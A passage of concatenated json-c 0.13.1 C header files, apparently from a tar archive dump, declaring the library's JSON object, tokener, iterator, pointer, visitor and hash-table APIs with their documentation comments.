* @endcode * * @see printf(3) man page for format strings * * @param jso The json_type_double object that is serialized. * @param pb The destination buffer. * @param level Ignored. * @param flags Ignored. */ JSON_EXPORT int json_object_double_to_json_string(struct json_object* jso, struct printbuf *pb, int level, int flags); /** Get the double floating point value of a json_object * * The type is coerced to a double if the passed object is not a double. * integer objects will return their double conversion. Strings will be * parsed as a double. If no conversion exists then 0.0 is returned and * errno is set to EINVAL. null is equivalent to 0 (no error values set) * * If the value is too big to fit in a double, then the value is set to * the closest infinity with errno set to ERANGE. If strings cannot be * converted to their double value, then EINVAL is set & NaN is returned. * * Arrays of length 0 are interpreted as 0 (with no error flags set). * Arrays of length 1 are effectively cast to the equivalent object and * converted using the above rules. All other arrays set the error to * EINVAL & return NaN. * * NOTE: Set errno to 0 directly before a call to this function to * determine whether or not conversion was successful (it does not clear * the value for you). * * @param obj the json_object instance * @returns a double floating point number */ JSON_EXPORT double json_object_get_double(const struct json_object *obj); /** Set the double value of a json_object * * The type of obj is checked to be a json_type_double and 0 is returned * if it is not without any further actions. If type of obj is json_type_double * the obect value is chaned to new_value * * @param obj the json_object instance * @param new_value the value to be set * @returns 1 if value is set correctly, 0 otherwise */ JSON_EXPORT int json_object_set_double(struct json_object *obj,double new_value); /* string type methods */ /** Create a new empty json_object of type json_type_string * * A copy of the string is made and the memory is managed by the json_object * * @param s the string * @returns a json_object of type json_type_string */ JSON_EXPORT struct json_object* json_object_new_string(const char *s); JSON_EXPORT struct json_object* json_object_new_string_len(const char *s, int len); /** Get the string value of a json_object * * If the passed object is of type json_type_null (i.e. obj == NULL), * NULL is returned. * * If the passed object of type json_type_string, the string contents * are returned. * * Otherwise the JSON representation of the object is returned. * * The returned string memory is managed by the json_object and will * be freed when the reference count of the json_object drops to zero. * * @param obj the json_object instance * @returns a string or NULL */ JSON_EXPORT const char* json_object_get_string(struct json_object *obj); /** Get the string length of a json_object * * If the passed object is not of type json_type_string then zero * will be returned. * * @param obj the json_object instance * @returns int */ JSON_EXPORT int json_object_get_string_len(const struct json_object *obj); /** Set the string value of a json_object with zero terminated strings * equivalent to json_object_set_string_len (obj, new_value, strlen(new_value)) * @returns 1 if value is set correctly, 0 otherwise */ JSON_EXPORT int json_object_set_string(json_object* obj, const char* new_value); /** Set the string value of a json_object str * * The type of obj is checked to be a json_type_string and 0 is returned * if it is not without any further actions. If type of obj is json_type_string * the obect value is chaned to new_value * * @param obj the json_object instance * @param new_value the value to be set; Since string legth is given in len this need not be zero terminated * @param len the length of new_value * @returns 1 if value is set correctly, 0 otherwise */ JSON_EXPORT int json_object_set_string_len(json_object* obj, const char* new_value, int len); /** Check if two json_object's are equal * * If the passed objects are equal 1 will be returned. * Equality is defined as follows: * - json_objects of different types are never equal * - json_objects of the same primitive type are equal if the * c-representation of their value is equal * - json-arrays are considered equal if all values at the same * indices are equal (same order) * - Complex json_objects are considered equal if all * contained objects referenced by their key are equal, * regardless their order. * * @param obj1 the first json_object instance * @param obj2 the second json_object instance * @returns whether both objects are equal or not */ JSON_EXPORT int json_object_equal(struct json_object *obj1, struct json_object *obj2); /** * Perform a shallow copy of src into *dst as part of an overall json_object_deep_copy(). * * If src is part of a containing object or array, parent will be non-NULL, * and key or index will be provided. * When shallow_copy is called *dst will be NULL, and must be non-NULL when it returns. * src will never be NULL. * * If shallow_copy sets the serializer on an object, return 2 to indicate to * json_object_deep_copy that it should not attempt to use the standard userdata * copy function. * * @return On success 1 or 2, -1 on errors */ typedef int (json_c_shallow_copy_fn)(json_object *src, json_object *parent, const char *key, size_t index, json_object **dst); /** * The default shallow copy implementation for use with json_object_deep_copy(). * This simply calls the appropriate json_object_new_<type>() function and * copies over the serializer function (_to_json_string internal field of * the json_object structure) but not any _userdata or _user_delete values. * * If you're writing a custom shallow_copy function, perhaps because you're using * your own custom serializer, you can call this first to create the new object * before customizing it with json_object_set_serializer(). * * @return 1 on success, -1 on errors, but never 2. */ json_c_shallow_copy_fn json_c_shallow_copy_default; /** * Copy the contents of the JSON object. * The destination object must be initialized to NULL, * to make sure this function won't overwrite an existing JSON object. * * This does roughly the same thing as * `json_tokener_parse(json_object_get_string(src))`. * * @param src source JSON object whose contents will be copied * @param dst pointer to the destination object where the contents of `src`; * make sure this pointer is initialized to NULL * @param shallow_copy an optional function to copy individual objects, needed * when custom serializers are in use. See also * json_object set_serializer. * * @returns 0 if the copy went well, -1 if an error occured during copy * or if the destination pointer is non-NULL */ JSON_EXPORT int json_object_deep_copy(struct json_object *src, struct json_object **dst, json_c_shallow_copy_fn *shallow_copy); #ifdef __cplusplus } #endif #endif json-c/json_inttypes.h 0000644 00000000536 15246445046 0011034 0 ustar 00 /** * @file * @brief Do not use, json-c internal, may be changed or removed at any time. */ #ifndef _json_inttypes_h_ #define _json_inttypes_h_ #include "json_config.h" #ifdef JSON_C_HAVE_INTTYPES_H /* inttypes.h includes stdint.h */ #include <inttypes.h> #else #include <stdint.h> #define PRId64 "I64d" #define SCNd64 "I64d" #endif #endif json-c/json.h 0000644 00000001452 15246445046 0007073 0 ustar 00 /* * $Id: json.h,v 1.6 2006/01/26 02:16:28 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * Copyright (c) 2009 Hewlett-Packard Development Company, L.P. * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief A convenience header that may be included instead of other individual ones. */ #ifndef _json_h_ #define _json_h_ #ifdef __cplusplus extern "C" { #endif #include "debug.h" #include "linkhash.h" #include "arraylist.h" #include "json_util.h" #include "json_object.h" #include "json_pointer.h" #include "json_tokener.h" #include "json_object_iterator.h" #include "json_c_version.h" #ifdef __cplusplus } #endif #endif json-c/json_visit.h 0000644 00000006155 15246445046 0010316 0 ustar 00 #ifndef _json_c_json_visit_h_ #define _json_c_json_visit_h_ /** * @file * @brief Methods for walking a tree of objects. */ #include "json_object.h" typedef int (json_c_visit_userfunc)(json_object *jso, int flags, json_object *parent_jso, const char *jso_key, size_t *jso_index, void *userarg); /** * Visit each object in the JSON hierarchy starting at jso. * For each object, userfunc is called, passing the object and userarg. * If the object has a parent (i.e. anything other than jso itself) * its parent will be passed as parent_jso, and either jso_key or jso_index * will be set, depending on whether the parent is an object or an array. * * Nodes will be visited depth first, but containers (arrays and objects) * will be visited twice, the second time with JSON_C_VISIT_SECOND set in * flags. * * userfunc must return one of the defined return values, to indicate * whether and how to continue visiting nodes, or one of various ways to stop. * * Returns 0 if nodes were visited successfully, even if some were * intentionally skipped due to what userfunc returned. * Returns <0 if an error occurred during iteration, including if * userfunc returned JSON_C_VISIT_RETURN_ERROR. */ int json_c_visit(json_object *jso, int future_flags, json_c_visit_userfunc *userfunc, void *userarg); /** * Passed to json_c_visit_userfunc as one of the flags values to indicate * that this is the second time a container (array or object) is being * called, after all of it's members have been iterated over. */ #define JSON_C_VISIT_SECOND 0x02 /** * This json_c_visit_userfunc return value indicates that iteration * should proceed normally. */ #define JSON_C_VISIT_RETURN_CONTINUE 0 /** * This json_c_visit_userfunc return value indicates that iteration * over the members of the current object should be skipped. * If the current object isn't a container (array or object), this * is no different than JSON_C_VISIT_RETURN_CONTINUE. */ #define JSON_C_VISIT_RETURN_SKIP 7547 /** * This json_c_visit_userfunc return value indicates that iteration * of the fields/elements of the <b>containing</b> object should stop * and continue "popped up" a level of the object hierarchy. * For example, returning this when handling arg will result in * arg3 and any other fields being skipped. The next call to userfunc * will be the JSON_C_VISIT_SECOND call on "foo", followed by a userfunc * call on "bar". * <pre> * { * "foo": { * "arg1": 1, * "arg2": 2, * "arg3": 3, * ... * }, * "bar": { * ... * } * } * </pre> */ #define JSON_C_VISIT_RETURN_POP 767 /** * This json_c_visit_userfunc return value indicates that iteration * should stop immediately, and cause json_c_visit to return success. */ #define JSON_C_VISIT_RETURN_STOP 7867 /** * This json_c_visit_userfunc return value indicates that iteration * should stop immediately, and cause json_c_visit to return an error. */ #define JSON_C_VISIT_RETURN_ERROR -1 #endif /* _json_c_json_visit_h_ */ json-c/bits.h 0000644 00000001363 15246445046 0007064 0 ustar 00 /** * @file * @brief Do not use, only contains deprecated defines. * @deprecated Use json_util.h instead. * * $Id: bits.h,v 1.10 2006/01/30 23:07:57 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ #ifndef _bits_h_ #define _bits_h_ /** * @deprecated */ #define hexdigit(x) (((x) <= '9') ? (x) - '0' : ((x) & 7) + 9) /** * @deprecated */ #define error_ptr(error) ((void*)error) /** * @deprecated */ #define error_description(error) (json_tokener_get_error(error)) /** * @deprecated */ #define is_error(ptr) (ptr == NULL) #endif json-c/json_c_version.h 0000644 00000002240 15246445046 0011136 0 ustar 00 /* * Copyright (c) 2012,2017 Eric Haszlakiewicz * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. */ /** * @file * @brief Methods for retrieving the json-c version. */ #ifndef _json_c_version_h_ #define _json_c_version_h_ #define JSON_C_MAJOR_VERSION 0 #define JSON_C_MINOR_VERSION 13 #define JSON_C_MICRO_VERSION 01 #define JSON_C_VERSION_NUM ((JSON_C_MAJOR_VERSION << 16) | \ (JSON_C_MINOR_VERSION << 8) | \ JSON_C_MICRO_VERSION) #define JSON_C_VERSION "0.13.1" /** * @see JSON_C_VERSION * @return the version of the json-c library as a string */ const char *json_c_version(void); /* Returns JSON_C_VERSION */ /** * The json-c version encoded into an int, with the low order 8 bits * being the micro version, the next higher 8 bits being the minor version * and the next higher 8 bits being the major version. * For example, 7.12.99 would be 0x00070B63. * * @see JSON_C_VERSION_NUM * @return the version of the json-c library as an int */ int json_c_version_num(void); /* Returns JSON_C_VERSION_NUM */ #endif json-c/json_config.h 0000644 00000000243 15246445046 0010415 0 ustar 00 /* json_config.h. Generated from json_config.h.in by configure. */ /* Define to 1 if you have the <inttypes.h> header file. */ #define JSON_C_HAVE_INTTYPES_H 1 json-c/json_tokener.h 0000644 00000015664 15246445046 0010634 0 ustar 00 /* * $Id: json_tokener.h,v 1.10 2006/07/25 03:24:50 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief Methods to parse an input string into a tree of json_object objects. */ #ifndef _json_tokener_h_ #define _json_tokener_h_ #include <stddef.h> #include "json_object.h" #ifdef __cplusplus extern "C" { #endif enum json_tokener_error { json_tokener_success, json_tokener_continue, json_tokener_error_depth, json_tokener_error_parse_eof, json_tokener_error_parse_unexpected, json_tokener_error_parse_null, json_tokener_error_parse_boolean, json_tokener_error_parse_number, json_tokener_error_parse_array, json_tokener_error_parse_object_key_name, json_tokener_error_parse_object_key_sep, json_tokener_error_parse_object_value_sep, json_tokener_error_parse_string, json_tokener_error_parse_comment, json_tokener_error_size }; enum json_tokener_state { json_tokener_state_eatws, json_tokener_state_start, json_tokener_state_finish, json_tokener_state_null, json_tokener_state_comment_start, json_tokener_state_comment, json_tokener_state_comment_eol, json_tokener_state_comment_end, json_tokener_state_string, json_tokener_state_string_escape, json_tokener_state_escape_unicode, json_tokener_state_boolean, json_tokener_state_number, json_tokener_state_array, json_tokener_state_array_add, json_tokener_state_array_sep, json_tokener_state_object_field_start, json_tokener_state_object_field, json_tokener_state_object_field_end, json_tokener_state_object_value, json_tokener_state_object_value_add, json_tokener_state_object_sep, json_tokener_state_array_after_sep, json_tokener_state_object_field_start_after_sep, json_tokener_state_inf }; struct json_tokener_srec { enum json_tokener_state state, saved_state; struct json_object *obj; struct json_object *current; char *obj_field_name; }; #define JSON_TOKENER_DEFAULT_DEPTH 32 struct json_tokener { char *str; struct printbuf *pb; int max_depth, depth, is_double, st_pos, char_offset; enum json_tokener_error err; unsigned int ucs_char; char quote_char; struct json_tokener_srec *stack; int flags; }; /** * @deprecated Unused in json-c code */ typedef struct json_tokener json_tokener; /** * Be strict when parsing JSON input. Use caution with * this flag as what is considered valid may become more * restrictive from one release to the next, causing your * code to fail on previously working input. * * This flag is not set by default. * * @see json_tokener_set_flags() */ #define JSON_TOKENER_STRICT 0x01 /** * Given an error previously returned by json_tokener_get_error(), * return a human readable description of the error. * * @return a generic error message is returned if an invalid error value is provided. */ const char *json_tokener_error_desc(enum json_tokener_error jerr); /** * Retrieve the error caused by the last call to json_tokener_parse_ex(), * or json_tokener_success if there is no error. * * When parsing a JSON string in pieces, if the tokener is in the middle * of parsing this will return json_tokener_continue. * * See also json_tokener_error_desc(). */ JSON_EXPORT enum json_tokener_error json_tokener_get_error(struct json_tokener *tok); JSON_EXPORT struct json_tokener* json_tokener_new(void); JSON_EXPORT struct json_tokener* json_tokener_new_ex(int depth); JSON_EXPORT void json_tokener_free(struct json_tokener *tok); JSON_EXPORT void json_tokener_reset(struct json_tokener *tok); JSON_EXPORT struct json_object* json_tokener_parse(const char *str); JSON_EXPORT struct json_object* json_tokener_parse_verbose(const char *str, enum json_tokener_error *error); /** * Set flags that control how parsing will be done. */ JSON_EXPORT void json_tokener_set_flags(struct json_tokener *tok, int flags); /** * Parse a string and return a non-NULL json_object if a valid JSON value * is found. The string does not need to be a JSON object or array; * it can also be a string, number or boolean value. * * A partial JSON string can be parsed. If the parsing is incomplete, * NULL will be returned and json_tokener_get_error() will return * json_tokener_continue. * json_tokener_parse_ex() can then be called with additional bytes in str * to continue the parsing. * * If json_tokener_parse_ex() returns NULL and the error is anything other than * json_tokener_continue, a fatal error has occurred and parsing must be * halted. Then, the tok object must not be reused until json_tokener_reset() is * called. * * When a valid JSON value is parsed, a non-NULL json_object will be * returned. Also, json_tokener_get_error() will return json_tokener_success. * Be sure to check the type with json_object_is_type() or * json_object_get_type() before using the object. * * @b XXX this shouldn't use internal fields: * Trailing characters after the parsed value do not automatically cause an * error. It is up to the caller to decide whether to treat this as an * error or to handle the additional characters, perhaps by parsing another * json value starting from that point. * * Extra characters can be detected by comparing the tok->char_offset against * the length of the last len parameter passed in. * * The tokener does \b not maintain an internal buffer so the caller is * responsible for calling json_tokener_parse_ex with an appropriate str * parameter starting with the extra characters. * * This interface is presently not 64-bit clean due to the int len argument * so the function limits the maximum string size to INT32_MAX (2GB). * If the function is called with len == -1 then strlen is called to check * the string length is less than INT32_MAX (2GB) * * Example: * @code json_object *jobj = NULL; const char *mystring = NULL; int stringlen = 0; enum json_tokener_error jerr; do { mystring = ... // get JSON string, e.g. read from file, etc... stringlen = strlen(mystring); jobj = json_tokener_parse_ex(tok, mystring, stringlen); } while ((jerr = json_tokener_get_error(tok)) == json_tokener_continue); if (jerr != json_tokener_success) { fprintf(stderr, "Error: %s\n", json_tokener_error_desc(jerr)); // Handle errors, as appropriate for your application. } if (tok->char_offset < stringlen) // XXX shouldn't access internal fields { // Handle extra characters after parsed object as desired. // e.g. issue an error, parse another object from that point, etc... } // Success, use jobj here. @endcode * * @param tok a json_tokener previously allocated with json_tokener_new() * @param str an string with any valid JSON expression, or portion of. This does not need to be null terminated. * @param len the length of str */ JSON_EXPORT struct json_object* json_tokener_parse_ex(struct json_tokener *tok, const char *str, int len); #ifdef __cplusplus } #endif #endif json-c/json_object_iterator.h 0000644 00000020122 15246445046 0012325 0 ustar 00 /** ******************************************************************************* * @file json_object_iterator.h * * Copyright (c) 2009-2012 Hewlett-Packard Development Company, L.P. * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * * @brief An API for iterating over json_type_object objects, * styled to be familiar to C++ programmers. * Unlike json_object_object_foreach() and * json_object_object_foreachC(), this avoids the need to expose * json-c internals like lh_entry. * * API attributes: <br> * * Thread-safe: NO<br> * * Reentrant: NO * ******************************************************************************* */ #ifndef JSON_OBJECT_ITERATOR_H #define JSON_OBJECT_ITERATOR_H #include <stddef.h> #ifdef __cplusplus extern "C" { #endif /** * Forward declaration for the opaque iterator information. */ struct json_object_iter_info_; /** * The opaque iterator that references a name/value pair within * a JSON Object instance or the "end" iterator value. */ struct json_object_iterator { const void* opaque_; }; /** * forward declaration of json-c's JSON value instance structure */ struct json_object; /** * Initializes an iterator structure to a "default" value that * is convenient for initializing an iterator variable to a * default state (e.g., initialization list in a class' * constructor). * * @code * struct json_object_iterator iter = json_object_iter_init_default(); * MyClass() : iter_(json_object_iter_init_default()) * @endcode * * @note The initialized value doesn't reference any specific * pair, is considered an invalid iterator, and MUST NOT * be passed to any json-c API that expects a valid * iterator. * * @note User and internal code MUST NOT make any assumptions * about and dependencies on the value of the "default" * iterator value. * * @return json_object_iterator */ struct json_object_iterator json_object_iter_init_default(void); /** Retrieves an iterator to the first pair of the JSON Object. * * @warning Any modification of the underlying pair invalidates all * iterators to that pair. * * @param obj JSON Object instance (MUST be of type json_object) * * @return json_object_iterator If the JSON Object has at * least one pair, on return, the iterator refers * to the first pair. If the JSON Object doesn't * have any pairs, the returned iterator is * equivalent to the "end" iterator for the same * JSON Object instance. * * @code * struct json_object_iterator it; * struct json_object_iterator itEnd; * struct json_object* obj; * * obj = json_tokener_parse("{'first':'george', 'age':100}"); * it = json_object_iter_begin(obj); * itEnd = json_object_iter_end(obj); * * while (!json_object_iter_equal(&it, &itEnd)) { * printf("%s\n", * json_object_iter_peek_name(&it)); * json_object_iter_next(&it); * } * * @endcode */ struct json_object_iterator json_object_iter_begin(struct json_object* obj); /** Retrieves the iterator that represents the position beyond the * last pair of the given JSON Object instance. * * @warning Do NOT write code that assumes that the "end" * iterator value is NULL, even if it is so in a * particular instance of the implementation. * * @note The reason we do not (and MUST NOT) provide * "json_object_iter_is_end(json_object_iterator* iter)" * type of API is because it would limit the underlying * representation of name/value containment (or force us * to add additional, otherwise unnecessary, fields to * the iterator structure). The "end" iterator and the * equality test method, on the other hand, permit us to * cleanly abstract pretty much any reasonable underlying * representation without burdening the iterator * structure with unnecessary data. * * @note For performance reasons, memorize the "end" iterator prior * to any loop. * * @param obj JSON Object instance (MUST be of type json_object) * * @return json_object_iterator On return, the iterator refers * to the "end" of the Object instance's pairs * (i.e., NOT the last pair, but "beyond the last * pair" value) */ struct json_object_iterator json_object_iter_end(const struct json_object* obj); /** Returns an iterator to the next pair, if any * * @warning Any modification of the underlying pair * invalidates all iterators to that pair. * * @param iter [IN/OUT] Pointer to iterator that references a * name/value pair; MUST be a valid, non-end iterator. * WARNING: bad things will happen if invalid or "end" * iterator is passed. Upon return will contain the * reference to the next pair if there is one; if there * are no more pairs, will contain the "end" iterator * value, which may be compared against the return value * of json_object_iter_end() for the same JSON Object * instance. */ void json_object_iter_next(struct json_object_iterator* iter); /** Returns a const pointer to the name of the pair referenced * by the given iterator. * * @param iter pointer to iterator that references a name/value * pair; MUST be a valid, non-end iterator. * * @warning bad things will happen if an invalid or * "end" iterator is passed. * * @return const char* Pointer to the name of the referenced * name/value pair. The name memory belongs to the * name/value pair, will be freed when the pair is * deleted or modified, and MUST NOT be modified or * freed by the user. */ const char* json_object_iter_peek_name(const struct json_object_iterator* iter); /** Returns a pointer to the json-c instance representing the * value of the referenced name/value pair, without altering * the instance's reference count. * * @param iter pointer to iterator that references a name/value * pair; MUST be a valid, non-end iterator. * * @warning bad things will happen if invalid or * "end" iterator is passed. * * @return struct json_object* Pointer to the json-c value * instance of the referenced name/value pair; the * value's reference count is not changed by this * function: if you plan to hold on to this json-c node, * take a look at json_object_get() and * json_object_put(). IMPORTANT: json-c API represents * the JSON Null value as a NULL json_object instance * pointer. */ struct json_object* json_object_iter_peek_value(const struct json_object_iterator* iter); /** Tests two iterators for equality. Typically used to test * for end of iteration by comparing an iterator to the * corresponding "end" iterator (that was derived from the same * JSON Object instance). * * @note The reason we do not (and MUST NOT) provide * "json_object_iter_is_end(json_object_iterator* iter)" * type of API is because it would limit the underlying * representation of name/value containment (or force us * to add additional, otherwise unnecessary, fields to * the iterator structure). The equality test method, on * the other hand, permits us to cleanly abstract pretty * much any reasonable underlying representation. * * @param iter1 Pointer to first valid, non-NULL iterator * @param iter2 POinter to second valid, non-NULL iterator * * @warning if a NULL iterator pointer or an uninitialized * or invalid iterator, or iterators derived from * different JSON Object instances are passed, bad things * will happen! * * @return json_bool non-zero if iterators are equal (i.e., both * reference the same name/value pair or are both at * "end"); zero if they are not equal. */ json_bool json_object_iter_equal(const struct json_object_iterator* iter1, const struct json_object_iterator* iter2); #ifdef __cplusplus } #endif #endif /* JSON_OBJECT_ITERATOR_H */ json-c/json_pointer.h 0000644 00000011340 15246445046 0010630 0 ustar 00 /* * Copyright (c) 2016 Alexadru Ardelean. * * This is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief JSON Pointer (RFC 6901) implementation for retrieving * objects from a json-c object tree. */ #ifndef _json_pointer_h_ #define _json_pointer_h_ #include "json_object.h" #ifdef __cplusplus extern "C" { #endif /** * Retrieves a JSON sub-object from inside another JSON object * using the JSON pointer notation as defined in RFC 6901 * https://tools.ietf.org/html/rfc6901 * * The returned JSON sub-object is equivalent to parsing manually the * 'obj' JSON tree ; i.e. it's not a new object that is created, but rather * a pointer inside the JSON tree. * * Internally, this is equivalent to doing a series of 'json_object_object_get()' * and 'json_object_array_get_idx()' along the given 'path'. * * Note that the 'path' string supports 'printf()' type arguments, so, whatever * is added after the 'res' param will be treated as an argument for 'path' * Example: json_pointer_get(obj, "/foo/%d/%s", &res, 0, bar) * This means, that you need to escape '%' with '%%' (just like in printf()) * * @param obj the json_object instance/tree from where to retrieve sub-objects * @param path a (RFC6901) string notation for the sub-object to retrieve * @param res a pointer where to store a reference to the json_object * associated with the given path * * @return negative if an error (or not found), or 0 if succeeded */ int json_pointer_get(struct json_object *obj, const char *path, struct json_object **res); /** * This is a variant of 'json_pointer_get()' that supports printf() style arguments. * * Example: json_pointer_getf(obj, res, "/foo/%d/%s", 0, bak) * This also means that you need to escape '%' with '%%' (just like in printf()) * * Please take into consideration all recommended 'printf()' format security * aspects when using this function. * * @param obj the json_object instance/tree to which to add a sub-object * @param res a pointer where to store a reference to the json_object * associated with the given path * @param path_fmt a printf() style format for the path * * @return negative if an error (or not found), or 0 if succeeded */ int json_pointer_getf(struct json_object *obj, struct json_object **res, const char *path_fmt, ...); /** * Sets JSON object 'value' in the 'obj' tree at the location specified * by the 'path'. 'path' is JSON pointer notation as defined in RFC 6901 * https://tools.ietf.org/html/rfc6901 * * Note that 'obj' is a double pointer, mostly for the "" (empty string) * case, where the entire JSON object would be replaced by 'value'. * In the case of the "" path, the object at '*obj' will have it's refcount * decremented with 'json_object_put()' and the 'value' object will be assigned to it. * * For other cases (JSON sub-objects) ownership of 'value' will be transferred into * '*obj' via 'json_object_object_add()' & 'json_object_array_put_idx()', so the * only time the refcount should be decremented for 'value' is when the return value of * 'json_pointer_set()' is negative (meaning the 'value' object did not get set into '*obj'). * * That also implies that 'json_pointer_set()' does not do any refcount incrementing. * (Just that single decrement that was mentioned above). * * Note that the 'path' string supports 'printf()' type arguments, so, whatever * is added after the 'value' param will be treated as an argument for 'path' * Example: json_pointer_set(obj, "/foo/%d/%s", value, 0, bak) * This means, that you need to escape '%' with '%%' (just like in printf()) * * @param obj the json_object instance/tree to which to add a sub-object * @param path a (RFC6901) string notation for the sub-object to set in the tree * @param value object to set at path * * @return negative if an error (or not found), or 0 if succeeded */ int json_pointer_set(struct json_object **obj, const char *path, struct json_object *value); /** * This is a variant of 'json_pointer_set()' that supports printf() style arguments. * * Example: json_pointer_setf(obj, value, "/foo/%d/%s", 0, bak) * This also means that you need to escape '%' with '%%' (just like in printf()) * * Please take into consideration all recommended 'printf()' format security * aspects when using this function. * * @param obj the json_object instance/tree to which to add a sub-object * @param value object to set at path * @param path_fmt a printf() style format for the path * * @return negative if an error (or not found), or 0 if succeeded */ int json_pointer_setf(struct json_object **obj, struct json_object *value, const char *path_fmt, ...); #ifdef __cplusplus } #endif #endif json-c/debug.h 0000644 00000003274 15246445046 0007214 0 ustar 00 /* * $Id: debug.h,v 1.5 2006/01/30 23:07:57 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * Copyright (c) 2009 Hewlett-Packard Development Company, L.P. * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief Do not use, json-c internal, may be changed or removed at any time. */ #ifndef _DEBUG_H_ #define _DEBUG_H_ #include <stdlib.h> #ifdef __cplusplus extern "C" { #endif extern void mc_set_debug(int debug); extern int mc_get_debug(void); extern void mc_set_syslog(int syslog); extern void mc_debug(const char *msg, ...); extern void mc_error(const char *msg, ...); extern void mc_info(const char *msg, ...); #ifndef __STRING #define __STRING(x) #x #endif #ifndef PARSER_BROKEN_FIXED #define JASSERT(cond) do {} while(0) #else #define JASSERT(cond) do { \ if (!(cond)) { \ mc_error("cjson assert failure %s:%d : cond \"" __STRING(cond) "failed\n", __FILE__, __LINE__); \ *(int *)0 = 1;\ abort(); \ }\ } while(0) #endif #define MC_ERROR(x, ...) mc_error(x, ##__VA_ARGS__) #ifdef MC_MAINTAINER_MODE #define MC_SET_DEBUG(x) mc_set_debug(x) #define MC_GET_DEBUG() mc_get_debug() #define MC_SET_SYSLOG(x) mc_set_syslog(x) #define MC_DEBUG(x, ...) mc_debug(x, ##__VA_ARGS__) #define MC_INFO(x, ...) mc_info(x, ##__VA_ARGS__) #else #define MC_SET_DEBUG(x) if (0) mc_set_debug(x) #define MC_GET_DEBUG() (0) #define MC_SET_SYSLOG(x) if (0) mc_set_syslog(x) #define MC_DEBUG(x, ...) if (0) mc_debug(x, ##__VA_ARGS__) #define MC_INFO(x, ...) if (0) mc_info(x, ##__VA_ARGS__) #endif #ifdef __cplusplus } #endif #endif json-c/linkhash.h 0000644 00000025617 15246445046 0007734 0 ustar 00 /* * $Id: linkhash.h,v 1.6 2006/01/30 23:07:57 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * Copyright (c) 2009 Hewlett-Packard Development Company, L.P. * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief Internal methods for working with json_type_object objects. Although * this is exposed by the json_object_get_object() function and within the * json_object_iter type, it is not recommended for direct use. */ #ifndef _linkhash_h_ #define _linkhash_h_ #include "json_object.h" #ifdef __cplusplus extern "C" { #endif /** * golden prime used in hash functions */ #define LH_PRIME 0x9e370001UL /** * The fraction of filled hash buckets until an insert will cause the table * to be resized. * This can range from just above 0 up to 1.0. */ #define LH_LOAD_FACTOR 0.66 /** * sentinel pointer value for empty slots */ #define LH_EMPTY (void*)-1 /** * sentinel pointer value for freed slots */ #define LH_FREED (void*)-2 /** * default string hash function */ #define JSON_C_STR_HASH_DFLT 0 /** * perl-like string hash function */ #define JSON_C_STR_HASH_PERLLIKE 1 /** * This function sets the hash function to be used for strings. * Must be one of the JSON_C_STR_HASH_* values. * @returns 0 - ok, -1 if parameter was invalid */ int json_global_set_string_hash(const int h); struct lh_entry; /** * callback function prototypes */ typedef void (lh_entry_free_fn) (struct lh_entry *e); /** * callback function prototypes */ typedef unsigned long (lh_hash_fn) (const void *k); /** * callback function prototypes */ typedef int (lh_equal_fn) (const void *k1, const void *k2); /** * An entry in the hash table */ struct lh_entry { /** * The key. Use lh_entry_k() instead of accessing this directly. */ const void *k; /** * A flag for users of linkhash to know whether or not they * need to free k. */ int k_is_constant; /** * The value. Use lh_entry_v() instead of accessing this directly. */ const void *v; /** * The next entry */ struct lh_entry *next; /** * The previous entry. */ struct lh_entry *prev; }; /** * The hash table structure. */ struct lh_table { /** * Size of our hash. */ int size; /** * Numbers of entries. */ int count; /** * The first entry. */ struct lh_entry *head; /** * The last entry. */ struct lh_entry *tail; struct lh_entry *table; /** * A pointer onto the function responsible for freeing an entry. */ lh_entry_free_fn *free_fn; lh_hash_fn *hash_fn; lh_equal_fn *equal_fn; }; typedef struct lh_table lh_table; /** * Convenience list iterator. */ #define lh_foreach(table, entry) \ for(entry = table->head; entry; entry = entry->next) /** * lh_foreach_safe allows calling of deletion routine while iterating. * * @param table a struct lh_table * to iterate over * @param entry a struct lh_entry * variable to hold each element * @param tmp a struct lh_entry * variable to hold a temporary pointer to the next element */ #define lh_foreach_safe(table, entry, tmp) \ for(entry = table->head; entry && ((tmp = entry->next) || 1); entry = tmp) /** * Create a new linkhash table. * * @param size initial table size. The table is automatically resized * although this incurs a performance penalty. * @param free_fn callback function used to free memory for entries * when lh_table_free or lh_table_delete is called. * If NULL is provided, then memory for keys and values * must be freed by the caller. * @param hash_fn function used to hash keys. 2 standard ones are defined: * lh_ptr_hash and lh_char_hash for hashing pointer values * and C strings respectively. * @param equal_fn comparison function to compare keys. 2 standard ones defined: * lh_ptr_hash and lh_char_hash for comparing pointer values * and C strings respectively. * @return On success, a pointer to the new linkhash table is returned. * On error, a null pointer is returned. */ extern struct lh_table* lh_table_new(int size, lh_entry_free_fn *free_fn, lh_hash_fn *hash_fn, lh_equal_fn *equal_fn); /** * Convenience function to create a new linkhash table with char keys. * * @param size initial table size. * @param free_fn callback function used to free memory for entries. * @return On success, a pointer to the new linkhash table is returned. * On error, a null pointer is returned. */ extern struct lh_table* lh_kchar_table_new(int size, lh_entry_free_fn *free_fn); /** * Convenience function to create a new linkhash table with ptr keys. * * @param size initial table size. * @param free_fn callback function used to free memory for entries. * @return On success, a pointer to the new linkhash table is returned. * On error, a null pointer is returned. */ extern struct lh_table* lh_kptr_table_new(int size, lh_entry_free_fn *free_fn); /** * Free a linkhash table. * * If a lh_entry_free_fn callback free function was provided then it is * called for all entries in the table. * * @param t table to free. */ 